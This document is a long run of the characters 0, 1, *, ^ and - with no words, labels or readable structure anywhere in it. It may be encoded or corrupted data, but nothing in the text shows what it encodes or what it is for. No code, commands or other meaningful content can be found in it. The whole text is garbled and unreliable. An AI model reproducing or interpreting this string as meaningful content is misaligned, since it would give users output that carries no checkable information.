11010-*0011**-----110--010^11*-00-*001^1*^110101*^10-1010-11*1011*01*1*1*^1********1*^1*00^1011*01*1*1101**01101*01*0-**01****01**0011*0010-11*1*001*1*001****01**0-*0010-11*1*001^1*10^1*1101*01**01**-----110--1010-1*-00-*001^1*1101101010-*1*^1********1^1011*00^1101*01*1*110101******011**00101******11**^-1**1******11**1^-**1*001*001101*011**01****01**0011*00110-^1**001****01**0101*00110-^1**---------10-*-001*^--*-11*1101*01*1*-----10--10-01*00-00-*001^1**11010-01*1*^1*****01***01***^1101*01*1*********1*1*^-001**00--1^1*0-11*101*001*1*-----10--1010^1*0-00-*001^1*00^^-11*101*001^1**11*0101*01*******001*0^1011*-**--------0^-1*-*0^^-11*-----10--^^11*0-00-*001^1*1*^1*10^-11*1011*01*1*********0011*0^-001**00---101*101*001*1*-----10--1010-1*0-00-*001^1*1*1*-11*101*001^1*01011*0011*0^1101*1****01**0011*00110-^1**001****01**0-*00110-^1**--------0^-1*-001*1*-11*-----10---01^1*-00-*001^1*0-*0-11*********^1*0^-001**00--1^11*101*001*1*-----10--10-0101*-00-*001^1**11*-11*101*001^1*^1*0-11*010101*11*00--------01^-*-00^1101*****00110-*-1101*001*010^1*****01**0011*1**1*011*01*1*-----10--1*01011*-00-*001^1*1011*0-11*********^1*0^-001**00--10-1*101*001*1*-----10---*-*-00-*001^1*-01*-11*101*001^1*11011*--------11*-*-00^110101*^1********101*01*00^1101*01*1*1*^1********1*^1*00^1101*01*1*--------101**00-00-*001^1*^1101********010110101*00^1*^1101*10-11*0101*01*1*********0^1*0-11*1101**1*0--------^10-*-00^1101*****00-0101*01^1*00^1^^110-110-11*^1*01*1*--------0-01*00-00-*001^1*01^^-11*********^1*0^-001**00--101011*101*001*1*--------1*001*0-00-*001^1*^1101******1*1011011***1*010^1********0011*1*001*001*01*1*101*001^1*01101******001**0^^1********110-******11***0-*****001**0-1********************0101011******1**--******11**01*101*****001***0-********0-11011*****011**-01******001**01^-********11*******001**010101******001***1*********11010101********0110-*********011******011**00^11*****001**0-0-1*****01**0-1*1*****011**0-1011********-11011********00--*****001***1*********0101*11********00-001*****011**0110^1********0-^1*****01***1*11*****01***^11*****001**0101011******11**10-1******11**-00-*****001**10-001*****011**^1******0011**^^11*****001**********01**001^11*****001**110^1*********010^101*10-*001*1*-*001^1*11*^-11*0-*01^1*001****01**001**0--01011*01^1*001****01*****0--*11*01^1*001*******010101010--01101*01^1*001*******0-11010--00101*01^1*001****01**0-010^--0^1*01^1*001****01**0^110^--*01*01^1*001*******-1*10--001101*01^1*********1***-001*1***001***10^1******1*001010-1***001**001^1^1******001010^11**--------^-*00-*011*01101*0-11*--------1*001*0-*011*00-1*--------0010-1*-*1011*--------0-001*0-*011*011011*********-*00^-001**00--1*11*011*00--------0-101*0-*011*0^1101******101*001011**001*010^-011*101*001*1*0101*0-01*---------00-*-00^1101*****001**0110-**0^1^^1*****01***10-**1*01*001*1*--------11*001*-*011*0^11*********-*00^-001**00--101101*011*00--------1^^1*-*011**011*0101**011*11011******011**1**-**01**--------00110-*-00^110101*^101011*-11*^1*01*^-001^-11*^1*0--------1*1101*-*011*001101*********-*00^-001**00---101*011*00--------1*0011*-*011*001011*0101*001101*********^1*********0^1**********11011********01*^1*******************011011********001*001********^1*1********0101101********0-011*********101101********0-001*********011*0101*1*01**11*010-*101*001^1*001*******-1*10--*1*001^1*001****01**0^110^--01011**1****01**0-010^--001101*01^1*********1***-001*1***001**01^^1********01^-***01***1^1^1*010101*11*00--------0^-1*-*1101*-11*------0-1^11*1*-*11*001^1*^1101*****0010-*0--1*00^1^^10--0-11*-*001*1*********0^1*--0011**-*00------0--0^101*-*11*001^1*1*^1********^-01*001*001*01*1*------0-1^101101*-*11*001^1*10-*-11*--------0^-1*-*1*^-11*------0-1^1*11*-*11*001^1*01^^-11*********^1*0^-001**00--10101*0-11*001*001*1*------0-11*11011*-*11*001^1*11*^-11*001*001^1*-01*--------0^-1*-0011*^-11*------0--1010-*-*11*001^1*1*0^-11*********^1*0^-001**00--101101*001*001*1*------0-110--1*-*11*001^1*^1101*****0011010-0-^1*001*010^10-1010-11*1011*01*1*001*001^1*0101*0-11*010101*11**01****01**0-*0010-11*1****01**011**110-^1**01**001****01**0011*0010-110^1*001**-----^--^101*00-*11*001^1*^11010^10^-11*1*^1********00-001*001*101*01*1*110101******011**00101******01**01***001******01***1***^^1*0-**11**1101*001****01**0101*00110-^1**-----^--0010101*0-*11*001^1*10-*-11*1101**01101*1****01**011**110-^1**-*00-----^--01^11*0-*11*001^1*^1101*0-00-11*1*^-101*0101*01*1*110101******011**00101******11**10^11**1******11**-1011**1*01****01**011**110-^1**-**11**1101*001****01**0101*00110-^1**--------1^-1*-00-01*-----^--*1^1*-*11*001^1*-01*-11*********^1*00-11*01****01**011**110-^1**^1**1****01**0101*0010-1^11****001**^11011*10^-01*01**01**1011*0^11010-*0011**-----^--0-1101*-*11*001^1*10-*-11*1101**01101*01*0-**01****01**0011*0010-110110101******1101^1*101*1101*001****01**0-**0-1^1**01**-----^--10-011*-*11*001^1*00101*-11*110101******011**00101******11**01^-*001******11**00110-*001*001*001101*011**01****01**0011*00110-^1**001****01**0101*00110-^1**--------^10-*-00^110^-0110-11*1*^1********01101101*00^1101*01*1*-----110--00101**-*11*001^1*1*^^1*10-11*0011*01*1*********0011*0^-001**00--1^1*0-11*001*001*1*-----110--110101*00-*11*001^1*01011*-11*001*001^1*^11*1101*001101*--------00110-*-00^110^1010^-11*1*^-*010-11*1101*01*1*-----110--011*1*0-*11*001^1*^1101*********1^11*00^1*^101*^-11**1*01*1*********0^1*^-001**00--1*11*001*001*1*-----110--01*11*0-*11*001^1*^1101********001*-*00^1*^1********00^101*001*101*01*1*001*001^1*10-*-----110--010-1*0-*11*001^1*11011*110101******011**00101********0010110-*001********00-00-*00^11**01101*011**01****01**0011*00110-^1**001****01**0101*00110-^1**--------*0-1*-001*^^-*0101*01*1*-----110--^10101*-*11*001^1*00-**********1*0^-001**00--^-*001*001*1*-----110--110-01*-*11*001^1**00^-11*001*001^1*00-*--------0^-1*-00^1*0-11*-----110--0-0011*-*11*001^1*^1101*10-0-11*1*^1*********00101*001*101*01*1*********0^1*00-1*001*011**--------0^-1*-**0^-11*-----110--0-0-*-*11*001^1*-00^-11*********^1*0^-001**00---011*001*001*1*-----10--11***0-*11*001^1*00-*-11*001*001^1*0-1*001****01**0011*0010-11*01101011**001****01**0011*00110-1010^1*1**--------0^-1*-*0-*-11*-----10--101*1*00-*11*001^1*^1101*****0010-110110-**0^1^^1********0101*1*00^-*001*1*********10101*^-001**00--110-*001*001*1*-----10--11*001*0-*11*001^1*^1101*****0010^^1*-**^1^^101101*-*001*1*001*001^1*01011*0011*0^1101*1****01**0011*00110-^1**001****01**0-*00110-^1**--------1^-1*-00^11*-----10--1^1011*0-*11*001^1*10^^-11*********^1*0^-001**00--1^11*001*001*1*-----10--^-11*0-*11*001^1*10101*-11*001*001^1**11*0101*01*******001*0^1011*1*11010-01*^11010-01*11**--------0^-1*-0010101*-11*-----10--10101^1*-*11*001^1*^1101*****0011010^101^11*001*010^1*****01**00110-**^^1*01*1*********10101*^-001**00---101*001*001*1*-----10--1^-01*-*11*001^1*^1101011011010-11*1*^-110^-11**1*01*1*001*001^1*^1*0-11*010101*11*00--------0^-1*-*0^^-11*-----10--110101011*-*11*001^1*^11*-11*********^1*0^-001**00--10-1*001*001*1*-----10--1*10-*-*11*001^1*0-1*001*001^1*11011*--------0^-1*-0010-*-11*-----10--1010-11*-*11*001^1*1^1*-11*********^1*00-11*1101**1*0--------1^-1*-*-1*--------*01**-*11*001^1*^1101*-00--01*********101101*00^-1101011**1*^1********0011*1*001*01****01**001**0--*********11*1*001*01****01**001**0--*****00-0--11011**^1^^1********1*-1*00^-*001*1*********1^1^^-001**00--101011*001*001*1*--------101^1*0-*11*001^1*01*^-11*001*001^1*01101******01**00^-*****0011**00-001********0110-1*********00101*****011**1**1*****011**10^101*****011**1010-*****001**00-^1*****01**0-01011*****011***011******11**00101101*****01***01101*****001**0-0-1*****001**0-01********001101*1********0011*******1**-*11*****001**1101^1********10-011*****001**00-11********001^11********01011*1*****01**00^^1*****011**1**1*****001**1^-1*****01**00-11******11**00101011*****011**1101101*****0011**101*1********0011*11*****001**1010101********01*-*****0011**1**1*****01**0^-01*****01**0-11011****************1***011*********-^1*****0011**101*******01***001*********0010^101*^11*001*1*011*001^1*01011*1011*01^1*001*******-1*10--*11*01^1*001****01**001**0--01101*01^1*001****01**0-010^--00101*01^1*001****01*****0--0^1*01^1*001*******010101010--*01*01^1*001*******0-11010--0-*001^1*001****01**0^110^--001101*01^1*********1***-001*1***001**00^^1******1**00-01***001**001^1^1*010101*01****01**0101*0010-1101*******001*0^1011*1*11010-01*^11010-01*001****01**011**110-^1**01**001****01**011**10-110110110^-1*110101******1101**0101******1**0010-11*001******1**01^1101*001*01****01***01*0110-^1**01**001****01**00101*010-11*1**-*001**001****01**0^1*010-110101**1**110101******001*1*0101******11**1101***1******11**0101101**1*01**01****01***01*0110-^1**001****01***01*010-11011**01**0101******0011*01*0101*1**001****01***1*0010-110-01*01*****1101*01^1*********1***-********************10-***101***1^1^1*010101*101******0011*01*0101*1*****1101*01^1*********1***-*-1^1*******0010101*101*001**01*-010-101***0101101************1*1********1010^^1**************************************************************00101*00101*^-*01*1*0-*01^1*01011****-10-011**101*01^^101**-10-011*0-*00--------010^1*0-001101*01^1*11011*1101*0011*****1**11*1*010^^101^-*101**01101*01**110101******10-01*0101*-1*-11*010-00-11*011**01****001***001*--00101**01*0--------0-011*0-001101*01^1*^1101*****001^1^10--*001*010^101*010-11*0011*01*1*110101******0-11*00101******11**11*-*001******11**1010-1*00^-01**1*0110101******0^101*0101******1**0110^1**1******1**001101**001*01**001*001*10-010^1101*01^1*^1101*********0^11*00^1*^1101*10-11**1*01*1*110101******11*01*0101******11**-001**01******11**^11**00^-01**1*0110101******0^101*0101******11**1^11**01******11**-1011**^11***1**11*00101****1**001010^1^-********0-011*******************0-1*1********1101011********01101011********0^1101*******************-1*1*********1*0101*101101*01*1*1101*01^1*-01*---------1011*0-*11*001^1*^1101******110--*1**01*010^1*****001**110101**0^^1*01*1*10101*110101*0110-11010^^1101******1^-001^11*00^1^^1*****01***001101*00^-*001*1*0110^-0101*11*001^1*^11010101*10-11*1*^1********01^101*001*001*01*1*-1**110^1**00---101*001*001*1*0011010-0101*11*001^1*-01*001*001^1*-01*^--1010^-01*-0110-0101*11*001^1*^11*101**0110^1**00--101101*001*001*1*11*0-10101*11*001^1*^1101******-1*^1***^1^^10--0-11*-*001*1*001*001^1*01101*******************00-^1********01*101********00^1*********^101********001*01********001*101********0^101********00^101********00^1*0101*^11*001*1*011*001^1*0-1*^1*01^1*001*******010101010--*01*01^1*001****01**0-010^--0-*001^1*001****01**0^110^--*11*01^1*001*******-1*10--001101*01^1*1**11010^1*1***001**01*^1*****01**00110^1***11***1^11011*1*******0010101**1*01**00-*1101^11**001*0011************1*1********1010^^1**************************************************************00101*00101*101011*01*1*1011*01^1*^11***********0010-0-011**101*01^1*********001*010-0-011*00101******001011*-110110-**101******001101*1*10^---------*1*0-*101*01^1*^1101********^110-*00^1^^^-*1101*01*1*1101*00101****1**001011*-10110^101^-*101**01101*01**110101******10-01*0101******1**01*001**1******1**010^11**1*11**101**01*0--------1010-*0-*101*01^1*01011*110101******0-11*00101******01**0110^1*001******01****01*00^-01**1*0110101******0^101*0101******1**00-001**1******1**01^1**001*01**001*0---------1^1*-*101*01^1*^1101*****0010-01101101101*001*010^110101010-11**1*01*1*110101******11*01*0101******11**^-**01******11**-***0^-01**1*0110101******0^101*0101**********1101*001*********0110-*00^11***1**11*00101****1**001010^1^-********001^11******************************0^11********0010-*********^^1********011**********11**********001*0101*^101*01*1*0101*01^1*11011*--------0-101*0-*11*001^1*0-1**********1**0-00--------1^-1*-*0011*--------1*-*0-*11*001^1*01101**********1*0^-001**00---101*001*001*1*--------11*001*-*11*001^1*^1101******0^11010-11**1*010^1*****01**01010^1*00^-*001*1*001*001^1*-01*--------1^-1*-0010-*--------1*0101*-*11*001^1*^1101*****0011011*0-01**01*010^110110110-11**1*01*1*********0^1*^-001**00--101101*001*001*1*--------10-101*-*11*001^1*^1101******00110110--**1*010^1*****01**00-***^-*001*1*001*001^1*01101**********11*********0^101*******************-1011********00101011********00101011********0-1011********0010-*********101011********0^1*0101*^11*001*1*011*001^1*00-**1*01^1*001*******-1*10--0-*001^1*001*******010101010--01101*01^1*001****01**0^110^--001101*01^1*********1***-001*1***001***00^1*****01**001101101**00101***1^11011*1*******0010101*011**1**0-*1011010-***0-01************1*1**********001010^101*001*1**************************************************************0101*00101*101^1*1*1*1^1*1^1**11****-10-01*001^1*00101*01^1*11**-10-01*001^1*0101******001011*-110110^1*00101******001101*1*10^--------00-1*00-001*1*1^1*11011*1011*0011*****1**11*1*010^^101^-*-1**1101*-**11*****1**1*001*101*001**1****001**1^11*--*1****001***001*--*11**1*001*1*110101******0-11*00101******1****101*001******1**001101101*00^-01*001*001*1*--------0010-*0-001*1*1^1*01011*110101******0^101*0101******11**1*^1*001******11**001^11*001*01**01*001*1*110101******11*01*0101******1**0-01101*001******1**0^1*1*00^-01*001*001*1**0010-010^1*1*1^1*^1101*****00110---01**01*010^1*11*-11*1011*01*1*110101******0^101*0101********0010110-*001********001*1101*00^11**001*001*1*001*001^1*0101****1**001010^1^-01101*0110101******1*1101*101******11***101**01******11**00-11**1*11*********00^-*******************010-001********10^11********0010101*******************01*1********************001*0101*101*1*1*1*1*1*1^1**11*-----10--11**1*-*001*01^1*^11010^11010-11*1*^1********^1^1*00^^1*01*1*0^1*11010^^10-11010^^1101******010^101*11**1*010^1*****01**0101*11*00^-1*01*1*-----10--110^101*-*001*01^1*10-**1**110^1**00--101011*011*001*1*-----10--^101101*-*001*01^1*^1101********00^1011*00^1*^1^10^-11*^1*01*1*011*001^1*-01*-10-11010^^110^-0^-11*1*^-001*-11*0011*01*1*-----10---001011*-*001*01^1*^11010-00110-11*1*^1*****01**01*001**1*-*01*1*0^1*00110^1**00--101101*011*001*1*-----10--^110-*-*001*01^1*^1101*****0011010-1*0101*001*010^10-1010-11*1011*01*1*011*001^1**11*0101*001**00110-11010^^1101*****00--00-^11*001*010^^101010-11*1011*01*1*--------*01**-*001*01^1*1*^1*01010-11*0011*01*1*0011**110^1**00---101*011*001*1*--------11*1*00-*001*01^1*11011*011*001^1*01011*0101*0110101******0^1**101******01***^1**1******01**110101**0^-01*01**0110--010^11011*--------11*01*0-*001*01^1*^1101*****00-*1*-001*00^1^^1********-10101*00^1101*01*1*10101*00110^1**00--1^11*011*001*1*---------1101*0-*001*01^1*^11*011*001^1*^11*--------0101011*0-*001*01^1*0-*0-11*********0^-1**10-11010-11*110101********11*101******01**1*-**1******01**10^11**1*1101*01***0--010^110110^-1*1*^1********^-01*001*101*01*1*-0^-0101*001*01^1*^110101*^1********01101101*00^^1*01*1*1*^-011*-11*^1*01*1*0^1*00110^1**00--1*11*011*001*1**0110-0101*001*01^1*0011*0-11*011*001^1*01101*********0101101********0-^1****************01**001^1*********101101********00-01********00101^11********^1******001***^1*********1101101********0110^1********11**********0101101*****001**0101***********-1********^-1*********001*101*1*01*01*1**1*01^1*1011*0-11*-1*01^1*001*******010101010--00-*01^1*001****01**001**0--01011*01^1*001*******-1*10--*11*01^1*001****01**0-010^--01101*01^1*001****01**0^110^--00101*01^1*001*******0-11010--0^1*01^1*001****01*****0--001101*01^1*1**11010^1*1***001**0-1*1*****001**10101101***11***1^11011*******************0011*01******1**-0^1*****01**0-^1*****001***0^1********001**********************11******01**-*1********0011*1******1**1**********001********101^1*001***010101*101******0011011011*101*11***************************************************************101*00101*^1011*1*1*01011*1^1*^11*00-0110101******001^^-11011*01*01010--010^1*^-010^-11**11*1*1*0-00-1010^-01*1^1*1*^1*****01**00-011**1*0011*1*1*0011**1101*001*********001101*********00-*********00-********************1101******************************0-*00101*10-01*1*1*-01*1^1*-01*11*0^-1011*************************************************************0101*00101*1010101*1*1*10101*1^1**11*00-011011*****1**-1**101*001**1****001**1^1*0--00101*******---110110^1**************************************************************00101*00101*101^1*1*1*1^1*1^1*^11**011*-10110101*0011*****1**11*1*010^^101^-*^1*001*1*01101*001*001*1*101*001*1*001****001***001*--0101*001^1*110101******1^101*0101******1**0--01*001******1**0-0-1*00^^1*****************************************001^1*******************0101*00101*101*1*1*1*1*1*1^1*^11*001*001^1*110101*******-01*101******01***01011*001******01***-01*00^11**-*001011*0011*001*1*--------*0011*0-00-1*01^1*^1101*****00-0-*0-11*001*010^1********0-*1*001*011*01*1*110101******0-11*00101******01**01*1**01******01**001011**01*0011*011*001*1*110101******11*01*0101******01**11011**001******01**10^1**01*0011*011*001*1*^1^-010^-1*01^1*^1101*****00-00--00101*001*010^1********1*-1*00^1011*01*1*110101******0^101*010^^11*-11010-11*110101******1*1**101********00-*01*001********00-0^1*00^110101*******-01*101******11**01*01**1******11**010101**01*01*00-**001*0011*001*1*011*001^1*0101****1**001010^1^-********00110101*******************001*1********00110101*********1*1********010-11*******************-*00101*10-1*01*1*-1*01^1*01101*-----10---*-*-00^1*01^1*^1101*****00-0^^-11**1*010^110110110-11*1011*01*1*0^1*110101*110--010^11011*-----10--1010-11*-00^1*01^1*1101*0-11*^1**110^1**00--101011*-*001*1*--------0101**0-00^1*01^1*01011*-*001^1*-01*00110-11010^^1101010-^-11*1*^1*****01**0-11011*001*101*01*1*--------01*1*00-00^1*01^1*0-1**1**110^1**00--101101*-*001*1*--------1*11*00-00^1*01^1*0011*0-11*-*001^1**11*0101**101*1010--0101*011*0-11*--------11*01*0-00^1*01^1*0-*0-11*^1**110^1**00---101*-*001*1*--------1^101*0-00^1*01^1*-01*-*001^1*^11*1101*00101****1***110^1^-00110--010^-01*---------0011*0-00^1*01^1*^1101*******0^--**01*010^1********0101^1*001*011*01*1*10101*00110^1**00--1*11*-*001*1*11*00-010^^1*01^1*^1101********00101*1*00^1*^11*0^-11*1101*01*1*-*001^1*01011*0011*00101****1**01^1^1^-0^--1010^10-*0-^-010^^1*01^1*1*^1*01010-11*1101*01*1*^1**110^1**00--1^11*-*001*1*0-010-010^^1*01^1*1*^1********-00-*001*101*01*1*-*001^1*01101*********0--********00--*********11*1********011*11*********^11*******************0010101********010-*********1*1*********00^11********1^1101********-1**********010101********0101011********0^1101********0-1*0101*10^1*01*1*^1*01^1*^1*0-11*1011*01^1*001*******010101010--*11*01^1*001*******-1*10--01101*01^1*001****01**0-010^--00101*01^1*001*******0-11010--*011*1^1*001****01**001**0--001101*01^1*1**11010^1*1***001**00-*1*****001**--11**00-***1^11011************01101*011*0^10^101101101101**-101***1********001*1**********0010101*101*******01*10-101^11**101*-010^10-*1^1*^1101********01101*1*00^1*^1**********11*00^1*1*1*1*01^1*101******00^10110-101^11****001***1^1*10^11011*01*11011**-1^11*0011*001*0101*011*00^--10101*1011*0^110-010^10-*1^1*^1101******^10^101011**^1^^1********1^1101*00^1^1*1*1*0^1*001101*101******00-*10-101^1*******001^11*11*1*01^-11*01*******001^11*11*1011****001**011*11*101*1**********0-01*******************01^101******************************-01*********-01********00-*00101*1010-*1*1*10-*1^1**11*00-0110101******001^^-11011011011*******0-*1101*0--11011*00^1**************************************************************0101*00101*1011011*1*1*11011*1^1*^11*001101*-10-00--1010^-01*1101^-010^^11*1^1*10-*101*00101101*101****01**-1*1*10^1011*00^1*^1010-010^^11*1^1*^1101******010101010^1**01*010^^1*10-11*0^1*1*1*01^1*101*******0010110-101^11*****1**00101*0010^101*001*1*001****001**-01*0--0011*00101*001^1*0101****01**0-*1*10^1011*00^1*001010-1010^^11*1^1*00-*********1*001*********0011**********11*********-*********00-********************101*********************01*0101*10^11*1*1*^11*1^1**11*-----^10-110-11*0-**1*1^1**-00-11*^1*0110101*0110-11010^^1101******01**010101**^1^^110110110-11*1^1*1*1*-----^10-11010^1*-**1*1^1*01101010-11*^1**110^1**00--101^^-11*0-*01*1*-----^10-101^101*-**1*1^1*1101*0-11*0-*01^1*-01*1010--010^1101*0-11*-----^10-101101101*-**1*1^1*11011*-11*^1**110^1**00--101101*0-*01*1*-----^10-1011*11*-**1*1^1*1*^-110110-11*-01*1*1*0-*01^1**01*-11*-----^10-101101011*-**1*1^1*^1101*****00^--0^11**1*010^1*****01**001*001*001*^1*1*1*01^^110101******-^1*010^11010110-11**11*-11*110101******^101*00101******01***00-*001******01**10101011*00^-**11****011**0011*1*101*^11*1*11*1^-*11**01*******************00101*01*01*1101*011**110--0101*1011*-----11010-110-**-**1*1^1*-10^-11*^1**110^1**00---11*0-11*0-*01*1*-----11010-10-01*00-**1*1^1*01101*0-*01^1*1*0^-11*-----11010-1010-*00-**1*1^1*^1101*****00-11010-011**0^1^^1*****01**00^101**^1^1*1*1*01^^110101******^1^1*101******1**0-*1**1******1**00^11**0^1*******001*01*011*^1*001*1*011****011**1*-*0101*-**^^11010101**01*00^10-*******************0011**1*0^-**110--0101*1101*-----11010-10--*0-**1*1^1*1*^10-1*-11*10101*1*1*0011**110^1**00--1*00^-11*0-*01*1*-----11010-10^^1*-**1*1^1*^1101*****00^1*0011*11*001*010^1*****01***^1**01*^1*1*1*0-*01^1*11011*-11*1101*00101******0011*1101^-01010--010^10-010-11*-----11010-110101101*-**1*1^1**01010-11*^1**110^1**00--101011*-11*0-*01*1*-----11010-1011*11*-**1*1^1*00101^-11*0-*01^1*^11*1101*00101******0011*1101^-*110-11010^^1101*******0^11010101*001*010^10--0-11*0^1*1*1*-----11010-110^-*-**1*1^1*1*^1*****01***-1**0^10101*1*1*-1**110^1**00--1*11*0-*01*1*-----11010--0-11*-**1*1^1*^1101********01011*1*00^1*^1*****01**01**1*00^1*1*1*1*0-*01^1*10^^-11*1101*00101******0011*1101^-01010--0101*^1^-11*-----10110-10-1**-**1*1^1*^1101******1^-1**1*00^1^^1*****01***001101*00^1^1*1*1*10101*00110^1**00--^^^-11*0-*01*1*-----10110--0-*00-**1*1^1*-*10-11*0-*01^1*0-1*-11*0011*01^1*01101*1010--010^-*10-11*-----10110--1^1*0-**1*1^1*^110^-0110-11*1*^-001^-11*00101*1*1*-1**110^1**00--110-*-11*0-*01*1*-----10110-101^11*0-**1*1^1*^1101******0011010--01*00^1^^1********11010-*00^1^1*1*1*0-*01^1*0011*0-11*0011*01*^1*1*01*1*-*001*1*00110-11010^^1101*****00^1*0-011**01*010^-*110-11*0^1*1*1*-----10110-10^^1*-**1*1^1*1*^1********001*11*001*0101*1*1*-1**110^1**00---01*0-11*0-*01*1*-----10110-1^10101*-**1*1^1**110^1101*-11*1*^-*010-11*-01*1*1*0-*01^1*00101*-11*0101*01^1*01101*^10-11010^^1101*******0110^1011**^1^^1*****01**010-1**0^1^1*1*1*-----10110--1^11*-**1*1^1*-1*0-11*^1**110^1**00---001*-11*0-*01*1*-----10110-1*00-*-**1*1^1*^1101******11011010-*1*001*010^-011*-11*01101*1*1*0-*01^1*^11*-11*1010--0101*0101010-11*-----10110-1010-11*-**1*1^1*^1101******^101**001*00^1^^1*****01***-01**^1^1*1*1*10101*0^1^^101^-*1^1*01*1*0101*01*1*1010--010^1^1*-11*------10--011**-**1*1^1*0-1010-11*^1**110^1**00--1*11*-11*0-*01*1*------10-^1101*00-**1*1^1*^110^1101010-11*1*^1********0110^1*001*0101*1*1*0-*01^1*11011*00-0-10101*10^10-11**00-110101*01^10-11*00^-11010^11*110-11**10-110101*01^10-11*00110-11010^^1101******10--^-1*001*010^1*11*-11*01101*1*1*------10-10-101*0-**1*1^1*01011010-11*********01*1*********-1*********01011*********01101*********^1*********0101*00101*10^1101*011*011*001*1*-10-11010^1*^1********-00-*00^1*1*1*1*------10-10-*1*-**1*1^1***10-11*^1**110^1**00--101011*0-*01*1*------10-10-^1*-**1*1^1*^110^10-10-11*1*^1*****01**011***00^10101*1*1*0-*01^1*01011*-11*------10-^101101*-**1*1^1*^1101******0-101*1*1*001*010^1********-10-*001*^1*1*1*01^^110101******-^1*0101*0^110-11*-01*-11*110101******0-*1*101********0010-001*001********001^^1*00^110101******01^101*101******01**-11011*001******01**0-*1*00^-**11****01**01*001*0101*0101*11011010^1*0010^-1010101*001*1101*00101*011**110--010^10-*-----1*--1***-**1*1^1*0101101*-*1*^1*01010-11*00101*1*1*0-**110^1**00--1^11*-11*0-*01*1*-----1*--0011**-**1*1^1**1101*011*-11*1*^101011*-11*1*1*1*1*0-*01^1**11*-11*0101*01^1**11010-01*0101*01*1*^10-11010^^1101******101*00110-**^1^^1********-00101*00^1^1*1*1*-----1*-1101*01*0-**1*1^1*01^^-11*^1**110^1**00---101*-11*0-*01*1*-----1*--^101*0-**1*1^1*01101^-11*0-*01^1*-01*-11*-----1*-11*0011*0-**1*1^1**110^-0^-11*1*^1*****01**0-^1**^10101*1*1*01^^110101******^1^1*101******01**^-1**1******01**0011***^1*******001*01*011*1^1*0011****011**1*-*0101*-**^^1101010-11*1*001*-1********************01*001*0^-*001010--0101*1101^-11*-----1*--*0101*-**1*1^1*-01^-11*^1**110^1**00--101101*-11*0-*01*1*-----1*-110^1101*-**1*1^1*^1101*****00101*1101010101*00^1^^-011*1^1*1*1*0-*01^1*01101*-11*1011*01*^10101*01*1*^1*01*1*^10-11010^^1101*******10-1*01**1*010^1********1*0101*001*^1*1*1*-----1*--0-011*-**1*1^1*00101010-11*^1**110^1**00--110101*-11*0-*01*1*-----1*-110-0-*-**1*1^1*^-00-11*0-*01^1*1101*0-11*-----1*--10-11*-**1*1^1*10101^-11*1010--010^^-00-11*-----1^-11*1**0-**1*1^1*010-00-11*^1**110^1**00--10101*0-11*0-*01*1*-----1^--0011**-**1*1^1**1101*101^-11*1*^-001*-11*00101*1*1*0-*01^1*00^^-11*-----1^-1^1101*00-**1*1^1*^1101*****0010^^11011**001*010^1*********1*1*001*1101*1*1*01^^110101******-^1*0101********00-*11*001*********0101101*00^110101******0-*1*101******1****001*001******1**00-*1*00^110101******01^101*10^^11*-11**^10-11*-**11*******00101011*10^^-*011*001^1010-001**1*-1*********1*0101*001*11**0110-110101*0011010^1*0-11*1*^1********0110^1*001*0101*1*1*-----1^-11*1*1*-**1*1^1*^11010--10-11*1*^1**********11*00^-01*1*1*0^1*00110^1**00---*^-11*0-*01*1*-----1^-1101*101*-**1*1^1*0-0010-11*0-*01^1*0101*0-11**1*01^1*01101*1010--0101*-0010-11*-----1^-1101101101*-**1*1^1*1*^1********-01101*00^-01*1*1*-1**110^1**00--1^1*0-11*0-*01*1*-----1^--01^11*-**1*1^1*10101010-11*0-*01^1*10-*-----1^--0011011*-**1*1^1*^1101*****0011*0-*1101*001*010^--010-11*01101*1*1*01^^110101******-^1*0101******01**-01**001******01**00^11**1*11****011**1*-*0101*-**^^1101010^-01**1*1011********************011*01*01*11**0110-11010^^1101******00101101^1011*001*010^110101*-11*01101*1*1*-----1010--0-**-**1*1^1*101*10-11*^1**110^1**00--^-*0-*01*1*-----1010--01101*00-**1*1^1*^1101******001^11*1011*001*010^1********01010101*001*1101*1*1*0-*01^1*01011*011*001^1*011****001**011*11*101*1**1010--010^1^1^-11*-----1010--*101*0-**1*1^1*^^10-11*^1**110^1**00--1^11*0-*01*1*-----1010--*011*0-**1*1^1**10^-11*0-*01^1*00-*1010--0101*01^10-11*-----1010--*-*0-**1*1^1*01*010-11*^1*01^11**1^-11*011*001*1*1010--0101*0010^-11*-----1010-1^1*01*-**1*1^1*1*1*-11*^1**110^1**00---011*0-*01*1*-----1010-1^10^1*-**1*1^1*00-010-11*0-*01^1*1011*0-11*-----1010--*0101*-**1*1^1*00-*01^^110101******^1^1*101*0^^-11*1*1010-11*1*******001*01*011*1*1*0011****011**1*-*0101*-**^^1101010^1*01*00^^11********************011*01*0^-*001010--0101*0-010-11*-----1010-110^1011*-**1*1^1**00110-11*^1**110^1**00--^11*0-11*0-*01*1*-----1010--1*-*-**1*1^1*01101*-11*0-*01^1*^1*0-11*-*001^1*011****001**001^11*101*1**00110-11010^^1101*****0011*0--1011*001*010^--010-11*01101*1*1*------0--01**00-**1*1^1*11*010-11*^1**110^1**00--10-1*0-*01*1*------0--0101**-**1*1^1*10^^-11*0-*01^1*01*^-11*0011*01^1**11010-01*0011*01*1*1010--010^10^^-11*------0-1^1101*00-**1*1^1*0-1*-11*^1**110^1**00--11*0^-11*0-*01*1*------0--0-1*00-**1*1^1*^11010-11*0-*01^1*00-*-11*------0-11010^1*0-**1*1^1*001^10-11*1010--010^^11010-11*------0--110101*0-**1*1^1*00101*-11*^1**110^1**00---011*-11*0-*01*1*------0-11*1011*0-**1*1^1*0-1*0-*01^1**00^-11*001*001^1*1*^^11*01*1*1101*01*1*0110--0101*-1*------0-110--*0-**1*1^1*-01**1**110^1**00----*-11*0-*01*1*------0-110-*1*-**1*1^1*^110101*^101101*-11*1*1*1*1*1*^1********1*0-*00^1*1*1*1*0-*01^1*10101*-11*------0--1^101*-**1*1^1*1*^1********-01011*00^10101*1*1*1010--0101*101*0-11*------0-11010-01*-**1*1^1*1*^-0^10-11*10101*1*1*0011**110^1**00--^101*-11*0-*01*1*------0-110-0011*-**1*1^1*10101*-11*0-*01^1*-11*-11*------0--1011011*-**1*1^1*^1101******-01101**1*001*010^1*****01****011*001*^1*1*1*10110-110101*1011010^11*1*^1*****01**0101***0^1*1*1*1*------0-1^--*-**1*1^1*^1101*****00-*0101*-*00^1^^1*****01**0^1^1*00^1^1*1*1*10101*00110^1**00--10-1*-11*0-*01*1*-----^--^11**-**1*1^1*^1101******01*-00101**01*010^-*010-11*01101*1*1*0-*01^1*-1*0-11*1010--010^10-^-11*-----^--1^11*00-**1*1^1*^1101*****00-101011*-1*001*010^1*****01***0